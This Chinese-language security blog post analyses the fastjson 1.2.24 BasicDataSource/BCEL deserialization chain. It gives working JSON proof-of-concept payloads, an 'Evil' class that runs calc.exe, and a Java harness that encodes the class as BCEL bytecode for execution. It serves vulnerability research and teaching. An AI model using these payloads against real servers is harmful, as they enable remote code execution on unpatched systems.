FastJson反序列化之BasicDataSource利用链
前面在分析
fastjson 1.2.24
漏洞时分析了一下com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
和com.sun.rowset.JdbcRowSetImpl
,后面看了P神的BCEL ClassLoader去哪了发现还有一条利用链org.apache.tomcat.dbcp.dbcp2.BasicDataSource
。这条链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。
BasicDataSource
类在旧版本的 tomcat-dbcp
包中,对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
。
比如:6.0.53、7.0.81
等版本。MVN
依赖写法如下:
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>dbcp</artifactId>
<version>6.0.53</version>
</dependency>
在Tomcat 8.0
之后包路径有所变化,更改为了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
,所以构造PoC
的时候需要注意一下。 MVN
依赖写法如下:
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
注:如果用的Java7,请注意dbcp版本
POC:
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
由于fastjson
反序列化时会自动执行类的setter、getter
方法。这条链中用到了getConnection
,通过com.sun.org.apache.bcel.internal.util.ClassLoader
加载字节码。
测试坏境
JDK 7u80
dbcp 6.0.53
fastjson 1.2.24:在1.2.24之后的版本,这条链就被修复了
注:在Java 8u251
以后,BCEL包中就没有ClassLoader
类了
BCEL ClassLoader使用
BCEL这个包中有个类com.sun.org.apache.bcel.internal.util.ClassLoader
,他是一个ClassLoader
,但是他重写了Java内置的ClassLoader#loadClass()
方法。
在ClassLoader#loadClass()
中,其会判断类名是否是$$BCEL$$
开头,如果是的话,将会对这个字符串进行decode
。
具体利用如下:通过BCEL中的loadclass
加载BCEL
形式的字节码
package ccship.fastjson;
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
package ccship.fastjson;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class FastJsonTest {
public static void main(String[] args) throws Exception {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
new ClassLoader().loadClass("$$BCEL$$"+encode).newInstance();
}
}
通过createClass
加载字节码,内部执行了decode
解码。
BCEL在Fastjson漏洞中的利用
在BasicDataSource
利用链中,主要就是利用了BCEL
加载字节码。
POC:
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}
package ccship.fastjson;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
public class FastJsonTest {
public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException {
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
String POC = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+encode+"\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
JSON.parse(POC);
}
}
调试分析:
通过反序列化生成了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
对象,并完成了命令执行。利用链:BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()
先看到getConnection
方法
跟进createDataSource
方法
跟进createConnectionFactory
方法
到这通过Class.forName
将类加载进来,并且设置了initialize
参数为true
,而Class.forName
方法实际上也是调用的 CLassLoader
来实现的。通过第三个参数指定。这里的第一个参数类名和第三个参数加载器都是成员变量,可控。
因此再来看POC,就明白为什么这么赋值了
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader":
{
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
现在问题是FastJson是如何会调用getConnection
方法的,因为它的返回值为Connection
,并不满足调用getter
方法的条件。
在回头看POC:
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}
这里POC结构上有一个值得注意的地方在于,
- 先是将
{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}
这一整段放到JSON Value
的位置上,之后在外面又套了一层{}
。 - 之后又将
Payload
整个放到了JSON
字符串中Key
的位置上。
POC中很巧妙的利用了 JSONObject
对象的 toString()
方法实现了突破。JSONObject
是Map
的子类,在执行toString()
时会将当前类转为字符串形式,会提取类中所有的Field
,自然会执行相应的 getter 、is
等方法。
调试分析:
在DefaultJSONParser
的parseObject
方法中,会对第二个字符进行判断,这里为{
所以到后面整个key
就为JSONObject
,value
为bbb
,而key
当中的值会先加载进来,调用setDriverClassLoader、setDriverClassName
方法。因此整个key
里面的值就是包括了键值对:aaa:BasicDataSource类
,全部加载完成之后会对再次对object
进行判断
可以看到在对key
进行判断时就变成JSONObject
类了,而里面的key
和value
为aaa:BasicDataSource类
,可以在436
行key = (key == null) ? "null" : key.toString();
下断点调两次就到这里了。随后就会调用JSONObject
中的toString
方法。
而在执行toString()
时会将当前类转为字符串形式,会提取类中所有的Field
,执行相应的 getter 、is
等方法。因此也会执行getConnection
方法
调用链如下:
因此POC最完整的写法应该是:
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"aaa":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}
当然,如果目标环境的开发者代码中是调用的是 JSON.parseObject()
,那就不用这么麻烦了。与 parse()
相比,parseObject()
会额外的将 Java
对象转为 JSONObject
对象,即调用 JSON.toJSON()
,在处理过程中会调用所有的 setter
和 getter
方法。
所以对于 JSON.parseObject()
,直接传入这样的Payload
也能触发:
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}
参考链接
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
Comments | NOTHING